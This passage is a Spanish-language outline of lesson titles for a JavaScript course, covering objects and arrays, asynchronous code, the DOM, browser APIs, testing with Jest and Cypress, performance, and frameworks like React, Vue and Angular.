- Recursividad
Módulo 4: Objetos y Arrays
- Introducción a los Objetos
- Métodos de Objeto y la Palabra Clave
this - Arrays: Conceptos Básicos y Métodos
- Iteración sobre Arrays
- Buscar, Ordenar y Agregar Datos: find, sort y reduce
- Desestructuración de Arrays
- Desestructuración de Objetos, Spread y Rest
- JSON y Copias de Objetos
Módulo 5: Objetos y Funciones Avanzadas
- Prototipos y Herencia
- Clases y Programación Orientada a Objetos
- Encapsulación: Getters, Setters y Campos Privados
- Módulos e Importación/Exportación
- JavaScript Asíncrono: Callbacks
- Promesas y Async/Await
- El Bucle de Eventos y la Cola de Microtareas
- Iteradores y Generadores
Módulo 6: El Modelo de Objetos del Documento (DOM)
- Introducción al DOM
- Selección y Manipulación de Elementos del DOM
- Manejo de Eventos
- Propagación, Delegación y Eventos Personalizados
- Creación y Eliminación de Elementos del DOM
- Renderizado de Listas y Plantillas HTML
- Manejo y Validación de Formularios
Módulo 7: APIs del Navegador y Temas Avanzados
- Almacenamiento Local y de Sesión
- Fetch API y AJAX
- Peticiones Robustas: Errores, Timeouts y AbortController
- WebSockets
- Service Workers y Aplicaciones Web Progresivas (PWAs)
- APIs del Navegador Esenciales
- Introducción a WebAssembly
Módulo 8: Pruebas y Depuración
- Depuración de JavaScript
- Calidad de Código: ESLint, Prettier y Convenciones
- Pruebas Unitarias con Jest
- Dobles de Prueba: Mocks, Stubs y Spies
- Pruebas de Integración
- Pruebas de Extremo a Extremo con Cypress
Módulo 9: Rendimiento y Optimización
- Medir Antes de Optimizar: DevTools y Web Vitals
- Optimización del Rendimiento de JavaScript
- Gestión de Memoria
- Manipulación Eficiente del DOM
- Carga Perezosa y División de Código
Módulo 10: Frameworks y Librerías de JavaScript
- Por Qué Existen los Frameworks
- Introducción a React
- Gestión de Estado con Redux
- Conceptos Básicos de Vue.js
- Conceptos Básicos de Angular
- Elegir el Framework Adecuado
